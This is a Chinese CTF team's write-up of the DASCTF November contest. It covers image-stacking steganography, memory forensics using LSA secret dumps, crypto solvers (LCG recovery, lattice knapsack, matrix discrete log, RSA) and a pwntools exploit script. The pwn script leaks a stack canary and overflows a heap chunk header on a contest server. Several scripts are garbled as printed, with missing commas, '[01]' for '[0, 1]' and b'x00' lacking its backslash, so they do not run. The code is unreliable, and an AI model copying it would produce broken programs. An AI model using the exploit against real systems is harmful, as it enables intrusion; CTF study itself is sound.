DAS 11月月赛TeamGipsy战队 WriteUp

admin 2023年6月1日09:02:29评论49 views字数 32678阅读108分55秒阅读模式

队伍名称

TeamGipsy战队

排名

9名

解题思路

MISC: 七仙女下凡、Dink Kirby PC

Crypto: easy_hash、LLLCCCGGG、easyRSA、Matrix

PWN:签个到


MISC

七仙女下凡(赛后复现)

题目很简单,但是因为一直在看取证,没看这个,加上做的时候可能有问题,就没出了,呜呜。

原本7张图,图都是一模一样的,好像区别就是宽高不一样

日常打开属性观察一下

DAS 11月月赛TeamGipsy战队 WriteUp
DAS 11月月赛TeamGipsy战队 WriteUp

从1-7,他的宽跟高的其中一部分都是翻倍的,stegsolve有一个水平交错跟垂直交错,跟这个一样,就尝试去搞

DAS 11月月赛TeamGipsy战队 WriteUp
DAS 11月月赛TeamGipsy战队 WriteUp

然后一直叠加到最后一个,保存出来,看一下通道,在0通道看到很明显的异常

DAS 11月月赛TeamGipsy战队 WriteUp

导出,是jpg,转一下后缀,得到flag

赛中可能是哪一步没加上去,导致出问题了,猜测是叠加的顺序问题?用叠加出来的那张图去跟n.png原图叠加,跟用n.png去跟叠加出来的图叠加会不一样?

DAS 11月月赛TeamGipsy战队 WriteUp

Dink Kirby PC(赛后复现)

最后找到AES密文是非预期,正解还不会。

题目了两个hintComputer Password Hint + Zipfile to decrypt encryptfile

hashdump出来的hash解不出来,就用lsadump(从注册表中提取LSA密钥信息(已解密))

DAS 11月月赛TeamGipsy战队 WriteUp

得到一个key

然后在桌面上有一个hint.txt,在document下有一个加密的压缩包,hint.txt提示clip,就去看看clipboard,但是这个信息一直没用上,猜测是跟aes密文的地方有关

DAS 11月月赛TeamGipsy战队 WriteUp

他这个意思如果我没猜错的话,是他把password的hint跟密文放在一块了,应该是跟lsa秘钥的地方在一起或者跟上面找到的压缩包的地方有关,但是我找了一天还是没找到,太菜了。

压缩包的密码就是之前的LSA密钥信息,得到一个密文

DAS 11月月赛TeamGipsy战队 WriteUp

tr跟y都是换表,异或就是异或,其他就没啥了,很简单写个脚本

import string

string1='0123456789'
string2='8195376024'
string3=string.digits+string.ascii_lowercase
string4=string.ascii_lowercase+string.digits
x=x.translate(str.maketrans(string2,string1))
flag=''
for i in range(0,len(x),2):
    flag+=chr(int(x[i:i+2])^0x31)
flag=flag.translate(str.maketrans(string3,string4))
print(flag)
#ead803812f23

得到key

最后密文,因为他给我的这个key是用网站加密的aes的key,(因为正经aes加密的秘钥长度不是12长),然后用网页加密的aes的开头盐值是固定的

加密网站(https://www.sojson.com/encrypt_aes.html)

DAS 11月月赛TeamGipsy战队 WriteUp

开头都是固定的U2Fsd,然后就可以直接在16进制中搜索这个数据,就找到了,注意点的是数据在里面存储的形式是中间有个空的,所以搜索

就找到啦55 00 32 00 46 00 73 00 64

DAS 11月月赛TeamGipsy战队 WriteUp

很没有意思呜呜,期待正解

DAS 11月月赛TeamGipsy战队 WriteUp

然后解密就是flag了,工具是啥应该不用交了吧,ENCRYPPTO

DAS 11月月赛TeamGipsy战队 WriteUp

CRYPTO

easy_hash

根据 函数,已知 ,可以求出 ;已知 ,可以求出

根据 函数,因为 的位数小于 位,所以 就是 各个部分和其 拼接后的结果,把 验证的结果去掉就是

from Crypto.Util.number import long_to_bytes
a1, secret1 = [176867221104341718776530739474976076053116078199230077914580006121966699283360254748009011822566545707574429798767286369937016261496538085929091462073689139545215288033432210221492974990584987914397112840989583439688211128705545477536596587262069032020212762581490561288493533363888589066045095054475929099275247145877699370608950340925139625068446642116123285918461312297390611577025368805438078034230342490499137494400676347225155752865648820807846513044723]
a2 = myhash(a1)
a3 = myhash(a2)
a = [0, a1, a2, a3]
a0 = (secret1 - (a[1] * a[1] + a[2] * a[1] ** 2 + a[3] * a[1] ** 3)) % P
a[0] = a0
flag = long_to_bytes(a0)
print(flag)
# b'DAxd4x17xe9xf8SCTF{th1x98xf8xa5$s_is_theSx83xbfxc9_fe3st_qx8fxa9xd4xacuest1on}x07.Bxce'
# DASCTF{th1s_is_the_fe3st_quest1on}

DASCTF{th1s_is_the_fe3st_quest1on}

LLLCCCGGG

CVE库yyds!

a = getPrime(300)
b = getPrime(300)
n = getPrime(300)
output = []
for i in range(10):
    seed = (a * seed + b) % n
    output.append(seed)

:已知求 ,跑脚本即可

from math import gcd

from sage.all import GF
from sage.all import is_prime_power


def attack(y, m=None, a=None, c=None):
    """
    Recovers the parameters from a linear congruential generator.
    If no modulus is provided, attempts to recover the modulus from the outputs (may require many outputs).
    If no multiplier is provided, attempts to recover the multiplier from the outputs (requires at least 3 outputs).
    If no increment is provided, attempts to recover the increment from the outputs (requires at least 2 outputs).
    :param y: the sequential output values obtained from the LCG
    :param m: the modulus of the LCG (can be None)
    :param a: the multiplier of the LCG (can be None)
    :param c: the increment of the LCG (can be None)
    :return: a tuple containing the modulus, multiplier, and the increment
    """

    if m is None:
        assert len(y) >= 4"At least 4 outputs are required to recover the modulus"
        for i in range(len(y) - 3):
            d0 = y[i + 1] - y[i]
            d1 = y[i + 2] - y[i + 1]
            d2 = y[i + 3] - y[i + 2]
            g = d2 * d0 - d1 * d1
            m = g if m is None else gcd(g, m)
        assert is_prime_power(m), "Modulus must be a prime power, try providing more outputs"

    gf = GF(m)
    if a is None:
        assert len(y) >= 3"At least 3 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        x2 = gf(y[2])
        a = int((x2 - x1) / (x1 - x0))

    if c is None:
        assert len(y) >= 2"At least 2 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        c = int(x1 - a * x0)

    return m, a, c
output =  [7558129452388084961296267507657416495542743930829875483670254257085670787333958180655611485105032146983524265511965363979041936757881362506442483720291395014453678757599185295866113552120596735280044636830948052963404522588126110088611766216135931008244410207189352719166860266232082600216047516632301697196841954161116250112098201231760852377196299063477987464967355323434162961405292896018262995934874298337995965372404193916589860006731295967786578585395559183909053785809221073671604689424518552058371350544160609490615964264092028690593779957030315816581835074325743328779155603035237743807149508118954296831025623980634920773451475486560892498032762544736328611489954782840453225310146027149424196389722614995507311063137254444422627809460462181245194715591485205718806784169345860564890469367718110708978768152099561586039808874499029856564696410477579827751292882367683300035228537162519939]
print(attack(output))
# (1173843879841082693992136920285611943911704883357670151773674151308242415515507752596457609, 593647117401772145190396579663594527776190617014037091059262174448140362779813488948389210, 373193072645905805099743175375621363982796594540597615382605580257091541576660161082581472)
DAS 11月月赛TeamGipsy战队 WriteUp
n = getPrime(256)
a = [getPrime(256)]
for i in range(1, len(key)):
    a.append(a[i - 1] * 2)
b = getPrime(256)
m = []
for i in range(len(key)):
    m.append((a[i] * b) % n)
s = 0
for i in range(len(key)):
    s += m[i] * int(key[i])
seed = s

背包加密:给了 ,也是跑脚本

import os
import sys
from math import ceil
from math import log2
from math import sqrt

from sage.all import QQ
from sage.all import matrix

path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(os.path.abspath(__file__)))))
if sys.path[1] != path:
    sys.path.insert(1, path)

from shared.lattice import shortest_vectors


def attack(a, s):
    """
    Tries to find e_i values such that sum(e_i * a_i) = s.
    This attack only works if the density of the a_i values is < 0.9048.
    More information: Coster M. J. et al., "Improved low-density subset sum algorithms"
    :param a: the a_i values
    :param s: the s value
    :return: the e_i values, or None if the e_i values were not found
    """

    n = len(a)
    d = n / log2(max(a))
    N = ceil(1 / 2 * sqrt(n))
    assert d < 0.9408f"Density should be less than 0.9408 but was {d}."

    L = matrix(QQ, n + 1, n + 1)
    for i in range(n):
        L[i, i] = 1
        L[i, n] = N * a[i]

    L[n] = [1 / 2] * n + [N * s]
    for v in shortest_vectors(L):
        s_ = 0
        e = []
        for i in range(n):
            ei = 1 - (v[i] + 1 / 2)
            if ei != 0 and ei != 1:
                break

            ei = int(ei)
            s_ += ei * a[i]
            e.append(ei)

        if s_ == s:
            return e
        
# from Crypto.Util.number import inverse
# n,a,b = (1173843879841082693992136920285611943911704883357670151773674151308242415515507752596457609, 593647117401772145190396579663594527776190617014037091059262174448140362779813488948389210, 373193072645905805099743175375621363982796594540597615382605580257091541576660161082581472)
# a += n
# b += n
# seed = (output[0] - b) * inverse(a,n) % n
seed = 3521860349748519290898711091955310441882843724537073169429818749700115765292362
m= [721103286063377619864525746323199203682259059062581237527382047646604402292965401168242172452663926430905333713376145595676365174273222090452279441536924317814390052498055944887777895371560547916058478438980691186304039062365649137356287801049961118897755557907431210958321169568779613823726080781247312982747125756020999222377955111158148624219166423391375592276474521615624946259654852306145629033450225461382951669777408332612778647340756234927305972460103747144033164671159031172819256920368478416693705084301767392143496054184551181452880663293423180623456385138407369568333874101686035347842869921083691023629057613265868463612469127702768147391366677482033720706956857398421673820472580250175569459762276046145653249920757583591090185769091404592918368211758558115003511389195245520922913064998415151671821803715381828091858367364235171162298612529929539130848174210886655960584405810254431317885816623407582383338951972250598590782616963484217733119211688116205088626357716332468151647666779039445011971815652339269684354662384233762324101772527154326649363032953335580788900239436313046785393687093247684675246482035450543086532987260659066711606757107309631161202343789720734682996005344135822560384405109244560534825297144933171401672226713234954203390952945111027667586702914846679884684231416593898663428033444534264699084067819058902220553351734058296933597693684628331868952371081573790951929897660226110480544825562148230688613121453221046057702388838446840524821704957112993219502635900656194100108999006924057894456064697874679188900986460762733857751362982968054573393357132247583431092624470400458472686298924629481890593133896988961861505962980692167626118121199842899074179244751187541592304171022466637072262234264210749338579266857417470392892133682805275841321872747012047219714375494726733726341723852782098284143206949174635208037731337721576156923264016812394949169640383999730091465030217630048524951859636757570978822982539776292729031283439431752213463242940778875116214990371927351514195764596507955258545806256687886350442692648588155775023242998074385470302839152919301591051709161251337577270088538529717631155004648419961487709406056783058386031821034183225026751545401770770594352623100092968399229754188121135661167720636420683664500535030908035415411887052462001859367984595083762422713223354412728413673290010700618160708308237741049240037187269482926884297456930826248043265566490804358963498709392909249814458335654395487568789776439165280116558752284260066128628781329140125629946223902062194417304783164336835722382471539154145038229870707401323251870484238253947349533146095663286736714447649430783082900764597414148026465037409684765078946990662921913265734734288952988615661658015291948282960529300748193695301578939813258438265314694685779059772313233160305838965659210586014963873906031578796264266675558384383742244787044151636136366820762695566672566722428055366925031795333511167687674844895740883032722727336415253911333451334448561107338500635816461248562802499564273977449351747571732450029362164253433466215620304923367329224971256049991285479548987034951434649000587243285068669324312406098467346584499425120999825709590979740699028692980011744865701373386486248121969346841481013711468999180550979383511273598863745186032809254212224718435974297587829620274229379983611019587670225471977274903720656185084244494368719485951747571508005492499938856307732274238742045912569526673224359339386721743210099961221185318899001443485314434182067865922396341668959713931282727908399112649322333958468470055533297886570614287568489376344734146546070604492903331359496446679169369401110665957731412285751369787526894682930921412089858066627189838724608596437024879678314416943008052399895489029153845172736790634867454447774492171928740497593566288338860161047997909780583076903454735812697349088946468945959479710218507241745646932523460372690725211060743544215601300472843939169944398643207036503994701635943494211598765639716441615379305499544367529783398887972864140730079894032718869884231975312794328832307586109990887350586647080280362183081237513859524106700185054001369436099320601221547171238076742732630816292664291109436979179427028705224978524217213156519424416959672185854652616325853285822188739583588540574104499570484344263130388488339193443708072154847421965983079690770541500113982504486523236407937057269114137359939171234122157488322327952975199527295304654234681600223385485640375756282109433522592695240256473222651101877518836343126143143359419977157757449860991295171430956425710029731088938016420106029362937357980737922217604648344573316968528619128514200594621778760328402120587258747159614758444352092966891466339370572382570284011892435575206568042411745174943192295168887041859337829326787402426753926585138115347420110230577537403913358959452900415286686103940026813148535078531702762306948402204611550748078267179189058008305733722078800536262686118227245452728025596419792039452116067930951361124335596243763113598317513722364544909054560511928395840789042321358619027222486711924875262271966350274447290898181091210238567916815780846427172380544449734238497505245439327005488945817963621824204771358336315616928543447610888994684769950104908786540019569941568321439150454586955423605363575013903353275120439893995571710641451391398831366428783009091739108472107271500278067065502408797879911434212829027827976627328575660181834782169442145430005561341310048175957598228684256580466350557755620515869995855432086135933604256177961696190263646958047220042259424921407202900344063508706528695648922126573070588876072717889095679749951698498428144058006881270174130573912978442531461411777521454357781913594999033879759588090209140291762642400175552593854774179371045655831650631745434891327693102013894672832498844445890483982127136933098775865384077962569644046933054841142798798356916612804896679408945043153157089066830356008750740234429726166138811850161409986152577222854719258672080929168318338646700082782235051731322776237003228199723051544457094385173441618583366366772934001655644701034626455524740064563994461030889141887703468832371667327335458680033112894020692529110494801291279889220617782837754069376647433346546709173600662257880413841561312416930725864420328334526484383887947443780480456857921512592511099341931226248338614517288406566690529687677758948875609609137158430251850221986838624524966772290345768131333810593753555178977512192182743168605037004439736763469601856350707181998542655081604373603994045357393177537821600087442285800369392037127014143639970853101632087472079880907147863550756432001748845716006485750994630772899463008659919614679691639067654312223282573589969712263426636941224135203582558960891772620228963331958481997939883259212987415987595977138824482704071651179217835452404579266639169639958797665184259748319751919542776489654081433023584356709048091585332783392799175953303685194966395038390855529793081628660471687134180961831706655667855983519066073703899327900767816208506113723063236097334281506209564383154806631025333588919027921293364462834170122274461264721946685630124191287663096132620506671778380558425867289256683402445489225294438933712602483825753261922652410133435567611168517345785132765959161874995915442265849936649445315279902559557620978797173305082264809156298285758404818575481232977602718208806012546304701942250392965448998787248135756740377145374175983819340751657201124395877229534071752354302453510655613715134807542907483519676386815033144022487917544590681435047086049070213112265281798671763049937029443715170392182950172846005363151375391220328757753310315426998644310001406948034092105136684007601871242758254252319400048689976857308539972886200028138960681842102733680152037424855165085046388000973799537146170799457724000562779213636842054673603040748497103301700927760019475990742833207014363529013921943432525538386497064959921077561260763050193863054725507664140287270580278438868650510767729941299198421551225215261003877261094510144261908266316505835413288989085083901326398463544574026979669576892575381267985238165326330116708265779781701678026527969270891480539593391537851507625358802673558617092360828907193521006490780600834929184563059312780691765501613677032573693246747483214059849289859118112431193697240783860705113182663523338550442499073983952330640356774494475387252768825080310903958597257126805377421106760233570169073276398733376862437995096826012961170346616895077271456654932135204671403381465527974667537248759901936520259223406932337901545429133098642704093428067629310559493350744975198038730405184468138646758030908582661972854081868561352586211189867014899503960774608103689362772935160618171653239448060739892131951990859713319167719381715906657187336778133152711710786555853971005823051688042483553426172051680659322278094882230789407549227689266027729518026713124250876334660121328006543436487011408999568055595934488520669661091339636783389917793329118405429860171230154723293540883786368189117766884286926792735667798355866582368108597203424603094465870817675727363782355337685738535854713355967117331647362171944068492061889317416353514547275647106753714761696196788024242613268863222308610672341652281461876592965395012289488565360333923935760484852265377264446172213446833045629237531859307900245789771307206678478715209697045307545288923444268936660912584750637186158004915795426144124548676825098841172786821757338614681233632746808562266397609597663262013947576456171102582612209559493546958664967679988730674055469668694673877518960115291234220516522441911898709391732993535997746134811093933738934775503792023058246844103304488382379741878346598707199549226962218786747786955100758404611649368820660897676475948375669319741439909845392443757349557391020151680812232987376413217953529518967513386394828798196907848875146991147820403033616244659747528264359070590379350267727896575963938156977502939822956408060672324893194950565287181411807587005354557931519278763139550058796459128161213446476549242203547462945953115288043841836345305263982862279204241760367591795791530984844070949258919062305760876836726906105279657245584084835207351835915830619696881418985178381246115217536734538122105593144911681696704147036718316612393937628379703567624922304350734690762442111862898233633934082940734366323226981273472494337988414424956743996315663337350807487347128181006168178391564539625469449886759768288499134879926313266747016149746942563620123363567830388702761479487761858957367869670528776306784451677947206296222337202620463117774055229589755237179147357393410575526135689033558944125924446744052409262265272129800844107409942106936565504535526858731806674109262983928354583095895403352848107372174862433736618283020960578624147488434452704628501827011024418067056962147443497248674732365660419211572482949768689054092570036540220488271132164451997872611332654436010501409235594610130869007826346394204339320415520553541130447478890244686607182958434753341713972332423971877818822135514811390173343513849844440809711013388471195481329392996171153887055723796201361327803466870276996888816194220267769423909626587859923423077741114475924027226556069337405539937776323884405355388478192531757198468461554822289518480544522100489269015699022162393666976837072064265130257518891905545945137723101955542009785380313980443247873339536741441285302605150377838110918902754462039110840195707606279608864957466790734828825706052103007556762218378055089240782207783016673030492443935065314684425879014535537173700657918817060449138306709165451358669658851545060466082385810605294855694609508385120836202456301044833]
print(attack(m,seed))
# [1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1]
DAS 11月月赛TeamGipsy战队 WriteUp
state = int(key, 2)
a = getPrime(256)
b = getPrime(256)
c = getPrime(256)
for _ in range(10 ** 10000):
    state = (a * state + b) % c
flag = b'****************************************'
state_md5 = hashlib.md5(str(state).encode()).hexdigest()
xorflag = xor(flag, state_md5).hex()

矩阵快速幂: 次循环,搞一个矩阵快速幂即可

# sagemath
import hashlib
from Crypto.Util.number import long_to_bytes, bytes_to_long

key = [10000010111001001110010001100110111001,
       10111010001011001001100000111010101011,
       11101100011011101000110011001011111001,
       1000101110011010111110011000001101011]
a = 102146678855348749881681741830301892566150942749854546938156269348575567682569
b = 57926598868103510549704115342815226386495366694945712679089221082045615713293
c = 79112540456632613121737537841885533313599936328220061653608162113976717833173
xorflag = 0x2079677330734e7d07116d73543d03316c6501555c02403b7201080612101049
state = int(''.join([str(i) for i in key]), 2)
A = matrix(Zmod(c), [[a, 1], [01]])
B = vector(Zmod(c), [state, b])
state = int((A ^ (10 ** 10000) * B)[0])
# state = 5413978693489756582509930284917854732906886271552898511650182850401353715151
state_md5 = hashlib.md5(str(state).encode()).hexdigest()
state_md5 = bytes_to_long(state_md5.encode())
print(long_to_bytes(state_md5 ^^ xorflag))
# b'DASCTF{D0u_Ge_1S_R4al1y_G00d!!!}'
DAS 11月月赛TeamGipsy战队 WriteUp

DASCTF{D0u_Ge_1S_R4al1y_G00d!!!}

easyrsa

先分解 ,网站(https://www.alpertron.com.ar/ECM.HTM)分解,或是 分解

DAS 11月月赛TeamGipsy战队 WriteUp
DAS 11月月赛TeamGipsy战队 WriteUp

然后 用基底转化分解(哪个是 ,哪个是 ,都可以试一试)

最后有限域开方求

from gmpy2 import *
from Crypto.Util.number import *
n = 86073852484226203700520112718689325205597071202320413471730820840719099334770
n2 = 77582485123791158683121280616703899430016469065264033598472741751344256774648355531493586310864150337351815051848231793841751148287075688226384710343269278032576253497728407800522536152937473072438970839941923618053297480433385258911357458745700958378269978384670108026994918504237309072908971746160378531040480539649223970964653553804442759847964633088481940435582792404175653758785321463055628690804551479982557193366035172983893595403859872458966844805671311011033726279121149599533093604586152158331657286488305064843651636225644328162652701896037366058322959361248649656784810609391313
c = 260434870216758498838321584935711394249835963213639852217120194663627852693180232036075839403208332707552953757185774603238436545434522971149891312380970896040823539050341723863717581297624370198483155582245220695123793458717418658539983101802256991837534210806768587736557644192367876024337837658337683388449336720569707094997412847022794461117019613124291022681935875774139147643806772608929174881451749463825639214096129554621195116737322890163556732291246108250543079041977037626755130422879778449546701988814607595746282148723362288451970833214072743929855505520539885650891349827459470540263153862109871050950881032032388185414677989393461533362690744724752363346530211163516319373099647590952338730
e = 7
# p1,q = two_squares(n)
p1 = 200170033707580057053975766783012322797
q = 214489650309129059054871357172058931331
q = q + 63066105847160076051036559850646146794
base = q
polynomial = 0
var('x')
for i, e in enumerate(ZZ(n2).digits(base)):
    polynomial += e * x ** i
res = polynomial.factor_list()
primes = []
for r in res:
    f = r[0]
    primes.append(f(base))
p = int(primes[0])
q = int(primes[1])
r = int(primes[2])
while True:
    p1 = next_prime(p1)
    p = next_prime(p)
    q = next_prime(q)
    r = next_prime(r)
    if (p - 1) % 7 == 0 and (q - 1) % 7 == 0 and (r - 1) % 7 == 0 and (p1 - 1) % 7 == 0:
        break
n3 = p1 ** 3 * p * q * r
PR.<x> = Zmod(p)[]
f = x^7 - c
res = f.roots()
for i in res:
    if b'DASCTF' in long_to_bytes(int(i[0])):
        print(long_to_bytes(int(i[0])))
# b'DASCTF{I_d0nt_kn0w_wh@t_i_w@nt_t0_d0_ju3t_d0_it_attack_we@k_prim4!!!}'
DAS 11月月赛TeamGipsy战队 WriteUp

DASCTF{I_d0nt_kn0w_wh@t_i_w@nt_t0_d0_ju3t_d0_it_attack_we@k_prim4!!!}

Matrix

赛后出,跑了50多分钟

思路清晰,就是矩阵上的离散对数,用 算法可出,照着 佬博客的脚本一通乱改,勉强能用。

import tqdm
import hashlib


def babystep_giantstep(g, y, p):
    m = int((p-1)**0.5 + 0.5)
    table = {}
    gr = list(matrix(Zmod(P), len(g[0])))
    for i in range(len(g[0])):
        gr[i][i] = 1
    gr = matrix(Zmod(P), gr)
    for r in tqdm.tqdm(range(m)):
        table[str(gr)] = r
        gr = g * gr
    gm = g ^ (-m)
    ygqm = y
    for q in tqdm.tqdm(range(m)):
        if str(ygqm) in table:
            print(q * m + table[str(ygqm)], p)
            return q * m + table[str(ygqm)]
        ygqm = ygqm * gm
    return None


def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q, _ in factor(p-1):
        x = babystep_giantstep(g^(int((p-1)//q)), y^(int((p-1)//q)), q)
        if (x is Noneor (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

p = 12143520799543738643
P = p
A = [[12143520799533590286151788436812143520745929978443796545089340121435145537103448432896339849603212143436449354407235158437186324560121433291290910849631442149391883201214345941655320577911289521392968],
    [12143520799533124067155277578112143520745442171123796372987410121435145968039954432861786204877612143437786643111987155426784993480121433332653825471231407922031115601214346098539917246710983300063372],
    [12143520799533026603154575907212143520746151921286781222462020121435147415281750432785621094256012143440210529480891150563969013744121433394557025344031359413659718401214346311977457162310579745342712],
    [485740831980688546624287041614256486571214352074746224117575885160175812143514933292307603728613938956698016597147389365673343001449475575130441214334644433804769113056105416354048573529741133333662428714303424782417],
    [1214352079953333932014768427961214352074906027561373328142888012143515144091549812258963246622081214344612997747134713912628966808012143353609086952433125093278125816121434678088840686959705993135696],
    [346957737128807992652043660583787822501214352075077586234370666598574012143515359139397843248768914555391214344914938519067552044994356417296071734628523990131469119757210113970121434700972565499479282407958928],
    [109869950091011666711734788687033207505121435207525146686986801739115601214351557058251544323883386182656121434520723440925161040885995771076417486737900067400009254047954924507284041121434722777196104378879790035168],
    [1214352079953421032980956805343658187531214352075422434652560717610542048560291214351577434235744322931775530664121434548590491026271225863361220811214337376130284910310984068954859080956340668448438788500892291801],
    [242870415989952617572861124810164678931214352075587649101962976596482812143515968446948123971483866888773401248573450132594255021176305927116321214337976486356837410531830284976024286596205090493357286120625945355053],
    [728611247971732238972861124809716408251214352075745662843560632068497012143516152115449139485742949793465245448573474907350501261129789949642641214338539029721752310108682436021772860697409801002937286120294834973633],
    [77276950542464768471202487728121435207589584802935841440771401214351632524092384320377952745696121434622947605792751086222490485601214339065194721736397133513961120121434797414455997728831658996900830432],
    [121435207995353888871161628182121435207603805946235632252475851214351648809167944319626876325056121434644728206780351045451350171801214339557039900652393441517429260121434813097545437877218375794633]]
enc = [[621841790072669001493271723759809325924153527959371790237132501760371295655729910918051013242716484403212562769271025469388993454666847255572582121658612025409543183172879982016014873956804120397781496307347349041012188688166860], [30768048755743873931030249931657517714868830274903952778331087896585316921329094407721712855179307934844973959671593203070038396226958324352496591421804010903462885339873262632812778414687250535828660638857304057656522484723054646], [67604400550426029271502998088328131668106927197068158588356813606683020764519156952181549821341142011989663923823849760628718323764255853866011790802336258165527831137982710329181983489200369110959596269424707433321403548342671501], [69892960538997612458000749793706207705380996452872589903842650303752400405818089437371864148142505306481041290155465019389657809362201098002869240781711818639943162130893238802681688697262113114773641067377852863974421463550032713], [56434416940600366210724528903365710678103379568064301360312024700528402916143118721181053469200626838139960468687332251137213966333935170411331259952519632514017306703395371079946502659937754087700531259714439726814688868085941116], [3520978035324296134582822506783311165790706396603435983995663932010974891317135313009663503048120517398821397052421250122561645263412892636150322807928818245496288010393522820357879648474411106885802325682492532688980806680871259], [566444821373749561324543243307661531889301881451933430336302148479857322947282715469293641268377678973012480737958919120140840935788311850313540574789398952421055926334942510585572460443926001722251718995514836111305799364557617365], [1046198652176493185057522219570333250662329192457304812250704557080688810763431075709328637268108394731797841115111909909064902673913796241405527066886123502511045385838990370870918646061542713800931962845057846602173655057694105], [1628309316322170753838668241127288145946305294503072233730949405756246950489530557699190097735118922335991430745195193999334854086934151196323506745164996049812176223911149087371928174325157885175220540666336458318206067819330], [102620115433429249551007740585525855805110534972018308857652731571299456581833010727209214692737176385824999972306427524643012491815390692052671905385931839117674622565504373804766712588497935180170170848625628345863842327754628], [21245722956004794864109858666604779750884116785969269594775279477611528905535299879731039341554401283605166996023311962255964799745220401093546211622697508639457787512460083615826992984955483963078456118668902005411230628730963], [696082909732884868579749064310998512391157791030173448046612134540342063390442413083918650133609328789992325382321298815211529803293482516543398182699239610462641014399297415633519022264742534315933138905838931426411592929118677856]]
A = matrix(Zmod(p),A)
enc = matrix(Zmod(p),enc)
y = pohlig_hellman_DLP(A, enc, p)
x = lcm(lcm(229,593),1944001580291)   # crt_moduli中的元素
y = 86353340462193003
for i in range(10000):
    if x * i + y < p:
        if A ^ (x * i + y) == enc:
            print('DASCTF{' + hashlib.md5(str(x * i + y).encode()).hexdigest() + '}')
    else:break
DAS 11月月赛TeamGipsy战队 WriteUp

直接跑出来的 ,不能直接用

DAS 11月月赛TeamGipsy战队 WriteUp

要加上

DAS 11月月赛TeamGipsy战队 WriteUp
DAS 11月月赛TeamGipsy战队 WriteUp
DAS 11月月赛TeamGipsy战队 WriteUp

最后求出来 ,MD5一下即可

DASCTF{d7fd1e0d54aab17195f2e80e0d0cefbc}

PWN

签个到

pwn师傅太懒,就给了个∠本

#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "pwn"
ld_name = "ld"
local = 1
elf =ELF("./"+binary_name)
#ld = ELF("./"+ld_name)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num              :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4b'x00'))   
uu64    = lambda data               :u64(data.ljust(8b'x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia    = lambda                    :io.interactive()
if local==1:
   io = remote("node4.buuoj.cn",27456)
else:
   io = process("./"+binary_name)

def debug():
   gdb.attach(io,'''
      b *$rebase(0x014F7)
      '''
)
   pause()
def add(length,name):
   sla(b"> ",b"1")
   sla(b"length: ",str(length).encode())
   sa(b"name: ",name)
def get(data):
   sla(b"> ",b"2")
   sa(b"data: ",data)

sa(b"who are u?",b"a"*9)
ru(b"a"*8)
canary = uu64(io.recv(8))-0x61
info("canary",canary)
add(0x0,b"a"*0x14+p64(0x0000000000020d51)+p32(canary&0xffffffff))
io.sendline()
add(0x8,p32((canary>>32)&0xffffffff)+b"aaaa")
get(p32((canary>>32)&0xffffffff)+b"aaaa")
# debug()

# sa(b"> ",b"2")
ia()

参考资料

[1]

加密网站: https://www.sojson.com/encrypt_aes.html

[2]

网站: https://www.alpertron.com.ar/ECM.HTM


  往期推荐

第三届“祥云杯”网络安全大赛暨吉林省第五届大学生网络安全大赛部分WriteUp

DASCTF X GFCTF 2022十月挑战赛!部分WriteUp

2022年羊城杯网络安全大赛 部分WriteUp


原文始发于微信公众号(杭师大网安):DAS 11月月赛TeamGipsy战队 WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月1日09:02:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DAS 11月月赛TeamGipsy战队 WriteUphttps://cn-sec.com/archives/1780012.html

发表评论

匿名网友 填写信息